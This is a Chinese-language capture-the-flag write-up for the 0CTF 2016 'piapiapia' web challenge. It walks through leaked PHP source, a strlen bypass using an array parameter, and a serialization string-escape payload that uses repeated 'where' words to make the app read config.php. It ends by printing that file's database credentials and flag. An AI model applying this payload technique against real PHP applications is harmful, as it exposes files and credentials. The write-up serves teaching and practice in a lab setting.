[0CTF 2016]piapiapia

最后更新于 2024-07-12 683 字 预计阅读时间: 3 分钟


扫描到www.zip有源码泄露

下载解压得到源码,审计后可以知道,flag在config.php中但是上传的文件名被md5加密不能随意更改,在update.php中将前端发送过来的数据序列化传给update_profile函数

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}

在update_profile函数中引用了filter函数过滤,当我们输入where的时候会被变为hacker多了一个字符,存在序列化字符逃逸,我们可以构造假的photo为config.php。

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	

在update.php中nickname是唯一没有别正则表达式约束的,但是有字数限制,在php中可以用数组绕过strlen

测试代码
<?php
$profile['phone'] = $_POST['phone'];
$profile['nickname'] =  $_POST['nickname'];
$profile['photo'] = 'upload/' . md5( $_POST['name']);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$a=serialize($profile);
$b=preg_replace($safe, 'hacker',$a);
if(strlen($_POST['nickname'])>2)
echo "1213";
else
echo "66666";

echo($b);
?>

输入后明显nickname的长度大于2但还是输出66666





构造序列化字符串逃逸的payload

1.先计算要逃逸的字符";}s:5:"photo";s:10:"config.php的长度为34则需要输入34个where
2.输入34个where后得到反序列化字符串a:3:{s:5:"phone";s:3:"132";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}

其中hackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker的程度正好是186而我们输入的";}s:5:"photo";s:10:"config.php逃逸出去了,序列化字符串的结束为},则上述的反序列化字符串就变成了{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhacker

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}读取config.php得到flag。

解码得到flag

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{8c7559a7-c4c4-4dbe-a5b7-f2e86883e12d}';
?>
此作者没有提供个人介绍。
最后更新于 2024-07-12